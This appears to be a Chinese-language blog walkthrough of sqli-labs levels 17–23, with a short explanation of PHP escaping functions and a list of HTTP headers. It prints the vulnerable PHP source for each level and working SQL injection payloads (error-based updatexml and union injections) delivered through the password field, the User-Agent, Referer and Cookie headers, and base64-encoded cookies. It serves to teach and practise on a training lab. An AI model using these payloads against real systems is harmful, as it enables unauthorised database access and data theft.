增删改查函数

在对数据的处理上,我们经常用到的是增删改查。接下来我们讲解一下mysql的增删改查。

查就是我们上述用到的select,这里就不介绍了。

  • insert:增加一行数据
    简单举个例子

    create table test1(id int,name varchar(128));
    insert into test1 values(1,'admin');

  • 删除

    • 删除表中数据
      delete from 表名;


    delete from 表名 where id=1;

    • 删除结构
      删除数据库:drop database 数据库名称;


    删除表:drop table 表名;

    删除表中的列:alter table 表名 drop column 列名;

  • 修改

    • 修改所有:update 表名 set 列名 ='新的值,非数字加单引号'
    • 带条件的修改:update 表名 set 列名='新的值,非数字接单引号' where id=6;

Less-17

php中函数介绍
substr()

substr(string,start,length);截取字符串
string    必需。规定要返回其中一部分的字符串。
start     必需。规定在字符串的何处开始。(正数-在字符串的指定位置开始,负数-在从字符串结尾开始的指定位置开始,0-在字符串中的第一个字符处开始)
length    可选。规定被返回字符串的长度。默认是直到字符串的结尾。(正数-从start 参数所在的位置返回的长度,负数-从字符串末端返回的长度)
返回值:返回字符串的提取部分,若失败则返回 FALSE,或者返回一个空字符串。    
在 PHP 5.2.2 到 5.2.6 版本中,如果 start 参数表示负截断或者越界位置,则返回 FALSE。其他版本则从 start 位置开始获取字符串。

get_magic_quotes_gpc()

get_magic_quotes_gpc(void):bool;获取当前magic_quotes_gpc的配置选项
如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中移除了。

magic_quotes_gpc

php中的一个特殊的魔术函数,他的引用过程只有在传递$_GET,$_POST,$_COOKIE的时候才会发生作用。
1.当magic_quotes_gpc=on的情况下,我们可以不对输入和输出的数据库的字符串数据进行addslashes()和stripslashes()的操作,数据也会正常。但是我们如果对输入的数据进行了addslashes()处理,那么我们在输出的时候必须使用stripslashes()去掉多余的反斜杠。
示例1
条件:magic_quotes_gpc = on,写入数据库的字符未经过任何处理。从数据库读取的字符串为做任何操作。
数据:$data="snow''''sun";(中间是四个单引号)
操作:将字符串写入数据库
结果:sql语句顺利执行,数据成功写入数据库
数据保存格式:snow''''sun(和输入一样)
输出数据格式:snow''''sun(和输入一样)
说明:magic_quotes_gpc=on将单引号转换为\'的转义字符使sql语句正常执行,但是\并未作为数据写入数据库,数据库保存的是snow''''sun而不是我们想象的snow\'\'\'\'sun。
示例2
条件:magic_quotes_gpc = on,写入数据库的字符经过addlashes()处理。从数据库读取的字符串为做任何操作。
数据:$data="snow''''sun";(中间是四个单引号)
操作:将字符串写入数据库
结果:sql语句顺利执行,数据成功写入数据库
数据保存格式:snow\'\'\'\'sun(添加了转义字符)
输出数据格式:snow\'\'\'\'sun(添加了转义字符)
说明:magic_quotes_gpc=on 将单引号转换为\'的转义字符使sql语句成功执行,addslashes又将即将写入的数据的单引号转义为\',后者的转换被写入数据库,数据库保存的是snow\'\'\'\'sun。

2.当magic_quotes_gpc=off的情况下,我们必须(应该)使用addslashes()对输入的数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。
magic_quotes_gpc的作用范围:WEB客户服务端;作用时间:请求开始的时候,例如当脚本运行的时候。
magic_quotes_runtime作用范围:从文件中读取的数据或执行exec()的结果或是从sql查询得到的;作用时间:每当脚本访问运行状态中的数据。
示例1
条件:magic_quotes_gpc = off,写入数据库的字符未经过任何处理。从数据库读取的字符串为做任何操作。
数据:$data="snow''''sun";(中间是四个单引号)
操作:将字符串写入数据库
结果:出现sql语句写入错误,mysql不能顺利完成sql语句,写入数据失败
数据库保存格式:无数据
输出数据格式:无数据
说明:对未处理的单引号在写入数据库的时候会使数据库发生错误。
示例2
条件:magic_quotes_gpc = off,写入数据库的字符经过addlashes()处理。从数据库读取的字符串为做任何操作。
数据:$data="snow''''sun";(中间是四个单引号)
操作:将字符串写入数据库
结果:sql语句正确执行,数据写入数据库成功
数据保存格式:snow''''sun(和输入一样)
输出数据格式:snow''''sun(和输入一样)
说明:addslashes()将单引号转换为\'的转义字符使sql语句正常执行,但是\并未作为数据写入数据库,数据库保存的是snow''''sun而不是我们想象的snow\'\'\'\'sun。

PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

stripslashes()

stripslashes ( string $str ) : string
stripslashes—反引用一个引用字符串,将用来转义的\去除
函数删除由 addslashes() 函数添加的反斜杠
如果 magic_quotes_sybase 项开启,反斜线将被去除,但是两个反斜线将会被替换成一个。

addslashes()

addslashes ( string $str ) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。

ctype_digit()

ctype_digit ( string $text ) : bool
检查提供的 string 和 text 里面的字符是不是都是数字。
如果 text 字符串是一个十进制数字,就返回 TRUE ;反之就返回 FALSE 。
在 PHP 5.1.0 之前,当 text 是一个空字符串的时候,该函数将返回 TRUE 。

mysql_real_escape_string()

mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier = NULL ] ) : string
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, \, ', " 和 \x1a.
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集
本扩展自 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。

intval()

intval—获取变量的整数值
intval ( mixed $var [, int $base = 10 ] ) : int
var        要转换成 integer 的数量值
base    转化所使用的进制
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1,,'',"",NULL时返回0。

' " ') ") ')) "))
这一关我尝试上述的格式,都不能报错或者加上注释登录成功,我们尝试看一下源码

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }
        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
    else
        {
        $value = intval($value);
        }
    return $value;
    }
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    //making sure uname is not injectable
    $uname=check_input($_POST['uname']);  
    $passwd=$_POST['passwd'];
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    //echo $row;
    if($row)
    {
        $row1 = $row['username'];      
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
        if (mysql_error())
        {
            print_r(mysql_error());
        }
        else
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;        
            echo "<br>";
            echo "</font>";
        }
    
        echo '<img src="../images/flag1.jpg"   />';    
        //echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else  
    {
        echo '<font size="4.5" color="#FFFF00">';
        //echo "Bug off you Silly Dumb hacker";
        echo "</br>";
        echo '<img src="../images/slap1.jpg"   />';
        echo "</font>";  
    }
}

我们通过源码的分析可以看到,在接收到uname的内容之后,就使用check_input()函数对我们输入的用户名进行了检测,check_input()这个函数首先判断我们传入的内容是否为空,如果为就继续下一个判断如果不为空,截取字符串的前15位,如果魔术符号开启(自动转义),就使用stripslashes将转移字符去除,如果我们输入的不是一个十进制的数字,那么他会在(x00, n, r, , ', " 和 x1a.)前加反斜杠(%27也会加),并在前后添加单引号,如果是数字就得到数字的数值。最终返回处理后的值。

通过源码我们可以看到,这一关是修改密码,其实处理方式和查询差不多。

这里我们可以看到仅仅对用户名进行了特殊处理,但是密码没有进行处理,所以我们可以从密码处进行注入

uname=admin&passwd=123' or 1=1#


由于我们发现他会有报错,我们就尝试报错注入

uname=admin&passwd=123' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#


后续的就是常规的报错注入了。

HTTP头部介绍

在利用抓包工具的时候,我们能看到很多的项,我们接下来就详细讲解一下其中的每一样。
HTTP头部详解

  • Accept:告诉WEB服务器自己接受什么介质类型,*/*表示任何类型,type/*表示该类型下的所有子类型,type/sub-type。
  • Accept-Charset:浏览器声明自己接收的字符集
    Accept-Encoding:浏览器声明自己接受到的语言,语言跟字符集的区别:中文是语言,中文有很多字符集比如big5,gb2312,gbk等等。
  • Accept-Ranges:WEB服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受。none:表示不接受
  • Age:当代理服务器用自己缓存的实体去相应请求的时候,用该头部表明该实体从生产到现在经过多长时间了。
  • Authorization:当客户端接收到来自WEB服务器的www-Authenticate相应的时候,用该 头部来回应自己的身份验证信息给 WEB 服务器。
  • Cache-Control:
    请求:

    • no-cache(不要缓存的实体,要求现在从 WEB 服务器去取)
    • max-age:(只接受 Age 值小于 max-age 值,并且没有过期的对象)
    • max-stale:(可以接受过期的对象,但是过期时间必须小于 max-stale 值)
    • min-fresh:(接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象)
      响应:
    • public(可以用 Cached 内容回应任何用户)
    • private(只能用缓存内容回应先前请求该内容的那个用户)
    • no-cache(可以缓存,但是只有在跟 WEB 服务器验证了其有效后,才能返回给客户端)
    • max-age:(本响应包含的对象的过期时间)
    • ALL:no-store(不允许缓存)
  • Connection
    请求:

    • close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应 后,断开连接,不要等待本次连接的后续请求了)。
    • keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待 本次连接的后续请求)。
      响应:
    • close(连接已经关闭)
    • keepalive(连接保持着,在等待本次连接的后续请求)。
    • Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间 (秒)。例如:Keep-Alive:300
  • Content-Encoding:WEB服务器表明了自己使用了什么压缩方法(gzip,deflate)压缩相响应的对象。例如:Content-Cncoding:gzip
  • Content-Language:WEB服务器告诉浏览器自己响应的对象的语言
  • Content-Length:WEB服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:24028
  • Content-Range:WEB服务器表明该响应包含的部分对象为整个对象的哪部分,例如:Content-Range:bytes 21010-47021/47022
  • Content-Type:WEB服务器告诉浏览器自己响应的对象类型。例如:Content-Type:aplication/xml
  • ETag:就是一个对象(比如 URL)的标志值,就一个对象而言,比如一个 html 文件, 如果被修改了,其 Etag 也会别修改,所以 ETag 的作用跟 Last-Modified 的作用差不多,主 要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其 ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给 WEB 服务器, 然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有 没有改变了。
  • Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟 WEB 服务器验证了其有效性后,才能用来响应客户请求。是 HTTP/1.0 的头部。例如: Expires:Sat,23May200910:02:12GMT
  • Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host: www.baidu.com
  • If-Match:如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的 动作。
  • If-None-Match:如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求 的动作。
  • If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动 作(比如返回对象),否则返回代码 304,告诉浏览器 该对象没有修改。例如: If-Modified-Since:Thu,10Apr200809:14:42GMT
  • If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求 的动作(比如返回对象)
  • If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分 给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag 或者 自己 所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一 起使用
  • Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动 态页面的最后产生时间等等。例如:Last-Modified:Tue,06May200802:42:43GMT
  • Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头 部 指 定 的 位 置 去 取 。 例 如 : Location : http://baidu.com/123.gif
  • Pramga:主要使用 Pramga:no-cache,相当于 Cache-Control:no-cache。例如: Pragma: no-cache
  • Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。
    Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
  • Range:浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪 部分。例如:Range:bytes=1173546
  • Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中 的网址/URL。例如:Referer:http://www.sina.com/
  • Server:WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61 (Unix)
  • User-Agent: 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0 (Windows;U;WindowsNT5.1;zh-CN;rv:1.8.1.14)Gecko/20080404Firefox/2、0、0、14
  • Transfer-Encoding:WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作 了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding:chunked
  • Vary:WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所 返回的对象响应后续的请求。假如源 WEB 服务器在接到第一个请求消息时,其响应消息的 头部为:Content-Encoding:gzip;Vary:Content-Encoding 那么 Cache 服务器会分析后续请求 消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用 相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应 给不具备解压能力的浏览器。例如:Vary:Accept-Encoding
  • Via: 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么 协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发 出的请求里面添 加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的 Via 头部,并 把自己的相关信息加到后面,以此类推,当 OCS 收到最后一个代理服务器的请求时,检查 Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)

Less-18

首先我们输入一个错误的 密码尝试登录,显示界面如下:

我们可以看到其输出了我们的IP地址,经过我么多次的测试,我们发现用户名和密码出无法进行注入,我们查看其源代码

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo 'Your IP ADDRESS is: ' .$IP;
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    if($row1)
    {
        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
        mysql_query($insert);        
        echo 'Your User Agent is: ' .$uagent;
        print_r(mysql_error());            
    }
    else
    {
        print_r(mysql_error());
    }
}

其中是为了转义,比如select `table` from `table`这种情况,table是字段名不是关键字这个时候就需要使用这个符号。
我们分析了源码之后,发现用户名和密码都进行了检测,但是这次多了两个参数,一个是IP,一个是USER_AGENT,我们可以看到他仅仅对用户名密码检测之后,没有对USER_AGENT和IP进行检测,并且使用了insert语句插入到了数据库,这里有注入点,我们可以进行尝试,但是我们看到如果想要执行插入的语句,必须是登录成功的情况下,所以我们只能 输入正确的账号密码才能进行注入:
我们首先判断注入类型,我们可以看到我们在user-agent后面添加一个单引号的时候进行了报错,根据其报错信息我们可以知道其格式为')

我们来获取当前数据库

User-Agent: 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1



我们为了语句正常,我么那就在后面使用and '1'='1进行了闭合。
这里我们得到了表名。

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1


后来的注入按照这种格式进行报错注入即可。

Less-19

这一关,我们可以看到我们登录成功之后会显示我们请求中的referer参数,所以我们猜测可能这个数据写入到了数据库,所以我们这次针对这个参数进行注入点测试,我们发现格式是单引号的时候报错

闭合单引号返回正常

所以此处存在注入点,我们尝试报错注入

Referer:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1


后续的操作就是常规的报错注入流程。

Less-20

我们尝试输入错误的密码,查看返回结果,最终返回登录失败

当我们登录成功的时候返回的是我们请求中包含的HTTP信息,而且我们刷新页面,同样会看到登录后的页面,说明服务器根据我们的cookie确定了我们登录过,无需再登录,而在最下面有一个删除cookie的按钮,当我们点击删除的时候,我们又可以重新登录。

我们查看一下源码,深入分析一下当前页面的情况。

if(!isset($_COOKIE['uname']))
{
    //没有设置cookie会进入这个if判断
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");    

    if(isset($_POST['uname']) && isset($_POST['passwd']))
        {
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);    
        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
        $cookee = $row1['username'];
        if($row1)
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            setcookie('uname', $cookee, time()+3600);    
            header ('Location: index.php');
            echo "I LOVE YOU COOKIES";
            print_r(mysql_error());            
        }
        else
        {
            print_r(mysql_error());
        }
    }
}
else
{
    if(!isset($_POST['submit']))
        {
            //设置了cookie但是没有POST提交submit参数会走这里
            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;    
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
            $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
            $result=mysql_query($sql);
            if (!$result)
                  {
                  die('Issue with your mysql: ' . mysql_error());
                  }
            $row = mysql_fetch_array($result);
            if($row)
                {
                  echo 'Your Login name:'. $row['username'];    
                echo 'Your Password:' .$row['password'];
                echo 'Your ID:' .$row['id'];
                  }
            else    
                {
                 ....
                }
            echo '<center>';
            echo '<form action="" method="post">';
            echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
            echo '</form>';
            echo '</center>';
        }    
    else
        {
        //设置cookie,且POST中有submit参数走这里
        echo '<font color= "#FFFF00" font size = 6 >';
        echo " Your Cookie is deleted";
                setcookie('uname', $row1['username'], time()-3600);
                header ('Location: index.php');
        }        
}

经过我们对源码的分析,首先他会判断我们是否设置了cookie如果没有设置cookie他会判断当我们输入的账户密码,当我们当我们登录的时候会对我们的用户名和密码进行检测,如果登录成功(用户名和密码查询成功且有结果),会对设置我们的cookie,cookie的格式是用户名加当前时间+3600,紧接着跳转到index页面然后再输出sql语句的错误。如果我们提交的数据包中设置cookie,且在POST没有设置submit参数,他会拿到我们cookie中的uname,接着输出address,user_agent,cookie然后去数据库中查询cookie中的uname是否存在数据库的users表中,如果有查询结果(查询成功),就输出用户名,密码,以及id。如果POST有submit参数,也就是我们正常登录的情况下,就会设置cookie(uname,时间-3600),接着跳转到index.php页面。这个submit应该是我们在登录时候点击submit按钮的时候会提交的参数,但是我们刷新页面没有这个参数。
根据以上的分析我们可以尝试在没有正确密码的情况的完成注入,首先我们根据逻辑知道,如果我们设置了cookie但是没有提交submit参数,它就会直接拿出我们cookie中的uname的值来到数据库中查询判断我们cookie是否正确,所以我们可以get请求页面然后设置一个cookie,并在uname的值中添加注入语句,我们测试一下,我们在cookie中uname的值后面加了一个单引号报错了

然后我们尝试使用报错注入查看MYSQL的物理路径。

Cookie: uname=123' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1)#


之后的注入就和正常的报错注入流程一样了。

Less-21

这一关我们还是利用上一关分析得来的结果,直接设置cookie访问页面,但是这一次直接出现了报错:

他说我们的=操作数不合法,我们可以知道我们提交的参数只有cookie中有=,如果我们给uname=123就会提示错误,如果直接传入uname=就不会提示错误,uname=12不会提示错误,挺奇怪,我们在uname=12测试报错注入的时候出现了如下报错
出现了类似乱码的东西,我们判断可能是对我们的输入进行了加密,到现在还是没有头绪,还是分析一下源码看看具体情况,经过我们的分析,其在设置cookie的时候对uname的内容进行了base64加密,我们访问对这个cookie中uname这个字段在数据库查询之前会进行base64解密,所以我们如果想要注入成功,我们需要对我们的uname的值进行base64加密:
我们首先使用uname=123'进行base64加密提交查看结果:

我们通过报错知道了格式为'),接下来我们尝试注出数据库

未加密:
uname=123') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
加密:
uname=MTIzJykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSksMSkj

Less-22

这一关我们还是可以直接使用添加cookie来绕过登录,经过我们的测试,当我们输入双引号的时候返回了错误

那我们接下来尝试注出当前数据库

加密前
uname=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
加密后
uname=MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSksMSkj


后续的操作就没照旧啦

Less-23

经过我们的测试,当我们输入单引号的时候会进行报错

我们有尝试了?id=1' and 1=1#,但是依旧报错,通过错误回显,我们可以判断错误的位置在limit 0,1的前面,可能是我们的注释符号有问题

为了更深入的了解,我们尝试分析一下源码
preg_replace()
preg_replace — 执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject中匹配pattern的部分, 以replacement进行替换。

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    //filter the comments out so as to comments should not work,过滤注释
    $reg = "/#/";
    $reg1 = "/--/";
    $replace = "";
    $id = preg_replace($reg, $replace, $id);
    $id = preg_replace($reg1, $replace, $id);
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
        echo 'Your Login name:'. $row['username'];
        echo 'Your Password:' .$row['password'];
    }
    else 
    {
        print_r(mysql_error());
    }
}
else 
{ 
    echo "Please input the ID as parameter with numeric value";
}

我们拿到源码之后,我们就明白了我们的的错误在哪里了,代码中在拿到id参数后,将id参数中的#号和--替换为了空,按照目前的情况来看我们是不能直接用注释来无视后面的内容了,我们需要正确的将命令闭合才能注入成功。
这里我们不能使用order by 来判断出之前的select有多少列,我们可以直接使用-1' union select 1,'2...,别忘了单引号闭合,来进行测试,如果列数相同后就会返回正常页面,比如这里?id=-1' union select 1,2,'3返回正确的页面。
这里我么需要需要让id=-1的原因,应为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句,但是只有一个位置可以输出,所以我们需要让第一select没有结果,所以使用id=-1来查询失败,或者等于不在数据库中的id即可。

我们可以看到上面有两个输出的位置就是2和3这两个位置,我们可以使用其中一个来输出当前数据库。

http://192.168.252.160/sqli-labs/Less-23/
?id=-1' union select 1,(select database()),'3


我们尝试拿到字段的名字

http://192.168.252.160/sqli-labs/Less-23/
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails' limit 0,1),'3


我们还可以使用报错注入等,之后的按照正常的步骤来进行注入即可。

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏